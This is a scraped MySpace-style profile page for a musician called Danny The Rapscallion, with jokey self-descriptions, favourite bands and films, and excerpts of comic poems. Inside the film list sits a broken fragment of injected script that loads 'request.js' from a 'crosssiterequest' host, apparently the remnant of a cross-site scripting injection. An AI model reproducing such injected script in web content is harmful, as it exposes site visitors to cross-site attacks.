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Danny The Rapscallion

Your hair is far too huge, your clothes are stupid and tiny like they were made for a baby clown...W

About Me

'Ello reader. I'm Dan. I am singer/songwriter & guitarist for THE RAPSCALLIONS (click for link).please come visit and add us. We do music, cuz we can!!! I do many things both sensible and silly. It's around 60/40 in favour of silly around 93% of the time. You do the maths! I'm fascinated by shiny surfaces and spots of light particularly if they move about a bit. I enjoy the work of kittens. They really are genius. I don't quite know how they were originally invented but it matters not. Dogs generally smell a bit but some can be quiteI got this theme at Myspace-Themes.com
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amusing and great conversationalists especially on long walks. I think that tweed must surely be organic and grown in gardens of paisley. There's no way on earth that man made such a fibre. I would like to invent something. Something that doesn't currently exist. You know...anything really. I have a magic guitar hand that makes noises when put next to a guitar, and a mystical face which sings at microphones when in close proximity with them. Since an early age, I've always had a compulsive urge to bite into a bar of soap but have never brought myself to actually go ahead with it. One day....ONE DAY!!! I like to say things like "Buh and Meh!" They're great when emitted correctly. Trust! I enjoy the self inflicted writing of poetry and thus do it, and you can see what I've done in the form of blogs! ¦D Cheers. Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

Interesting things interest me. I also like music and that...

I'd like to meet:

I'd like to meet these people perhaps although I'm not bothered whether I do or not.Mick Jagger's trousers.Joe Strummer (again although it's not going to happen ever again) :(.Roger Moore.Jamie & his magic torch.Penny Crayon (although I'd just steal her crayon and run off with it, use it for a bit, then sell it for lots and lots of money on the Ebay!)Any man or woman who has the Christian name "God".The man who invented wood.Any cool ginger person (I mean REALLY ginger. Whereby the head looks like a scotch egg!)John Lennon (pre-death)Bob Dylan (post-death).

Music:

The pogues, Robert Johnson, Elvis Presley, The Beatles, The Stones (Rolling & Roses), Small Faces, Big Faces (jokes), Otis Redding, The Jam, Pin-Ups, Sex Pistols, The Clash, The Buzzcocks, Beach Boys, Pantera, Jah Wobble, Jaco Pastorius, Frank Zappa, Faith No More-Mr.Bungle-Tomahawk-Peeping Tom (Basically anything Mike Patton related!!!), The Specials, Jimi Hendrix, Melvins, Ben Harper, Guns & Roses, Pixies, David Bowie, Herbie Hancock, John Lee Hooker, Blondie, Joy Division, Miles Davis, Jon Spencer Blues Explosion, Public Enemy, Manic Street Preachers (1991-95), Television, The Smiths, Velvet Underground, Echo & the Bunnymen, Roxy Music, The Doors....

Movies:

Withnail & I..., Zoolander, Godfather I & II, Pat Garrett & Billy the Kid, Straw Dogs, most Steve McQueen films, most David Lynch films, most Tim Burton films, Shaun of the Dead, Pi, Requiem for a Dream, Adaptation, Being John Malkovich, Third Man, Citizen Kane, A Touch Of Evil, Ladykillers, Dog Day Afternoon, Mean Streets, Once Upon A Time In America......If you really wanna know all the films I like just ask me and I'll tell you some more!.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

The Mighty Boosh, Alan Partridge, Reeves & Mortimer, Family Guy, Peep Show, The Day Today, Deal or No Deal, Jam, Eastenders, Brass Eye, Nathan Barley, BBC News 24, Hollyoaks late night rape specials....

Books:

Yeh I read, what do you care?

Heroes:

The philosopher and philanthropist- Sir Alfred Milner.PhDDanger Mouse
Joe BLEEDIN Strummer...

My Blog

Whatever happened to our heroes...? *rant*

Once upon a time there was a world of musical legends and heroes, so triumphant in their merits that hoards of adoring fans would attach themselves and their lives to these almost mythical level human...
Posted by Danny The Rapscallion on Wed, 22 Aug 2007 11:49:00 PST

The Irish Pirate

Oi tink oi gat scurvey, Oi jost can't be sure. Wat air da symptams? Cracked leps dat air sore? Moy boat ran art o loimes, Many dees agore, Oi tink oi gat scurvey, Oi gats ta git ta shore....
Posted by Danny The Rapscallion on Mon, 29 Jan 2007 03:36:00 PST

James & Gavin (Story/Poem)

James Seymour awoke at three merely days after becoming four. Deluded and naive as he confronts a fear, no tragedy too severe. He talked through the tears of the confusion and of the worry in his head...
Posted by Danny The Rapscallion on Mon, 01 May 2006 06:13:00 PST

Hobbies

Touching moths Licking clouds Spitting on frogs Bursting clowns These are a few of my hobbies That fill my dull glum Sunday's
Posted by Danny The Rapscallion on Mon, 17 Apr 2006 05:01:00 PST

Cabbage Boy & The Long Gone Turnip Hero (poem)

The little cabbage chav kidCarves out his nameOn a war veteran's grave stoneTrying for some fame"Our triumphant turnip hero..."The eulogy did readPulped into a pureeFor someone else's greedThen the li...
Posted by Danny The Rapscallion on Fri, 24 Feb 2006 01:40:00 PST

Polishing Gates (poem)

Polishing gatesPolishing gatesPosing with my shammyPolishing gatesThis is what I doWhat I do for a livingPolishing gatesWell it beats theft and spivvingPolishing gatesPolishing gatesPosing with my buc...
Posted by Danny The Rapscallion on Wed, 22 Feb 2006 03:46:00 PST

Mushroom Friends (poem)

Once I grew some mushroomsWith loving tender careAnd when they grew up I eat themThey took me away somewhereA land of loving gigglesAnd rainbows made of snow1 day we go out with my mushroom friends to...
Posted by Danny The Rapscallion on Wed, 22 Feb 2006 03:45:00 PST

Harold's Chin (poem)

Harold's chin twas round, Once fell off, and hit the ground With a twang and a thud, to walk off Harold chose, And to evade chin embarrassment cut off his own nose. ...
Posted by Danny The Rapscallion on Wed, 22 Feb 2006 03:44:00 PST

Charcoal (poem)

Charcoal on the floor, Charcoal I have found, Charcoal all over the gaff, Charcoal all over the ground.This piece is sorta square-ish, This piece looks kinda round, Now I'm selling charcoal to the kid...
Posted by Danny The Rapscallion on Wed, 22 Feb 2006 03:43:00 PST

Child (poem)

There once was a philapino problem child, His problem was major and not at all mild.   Twas his parents, so a divorce he filed, And went to live with the wolves in the wild. ...
Posted by Danny The Rapscallion on Wed, 22 Feb 2006 03:40:00 PST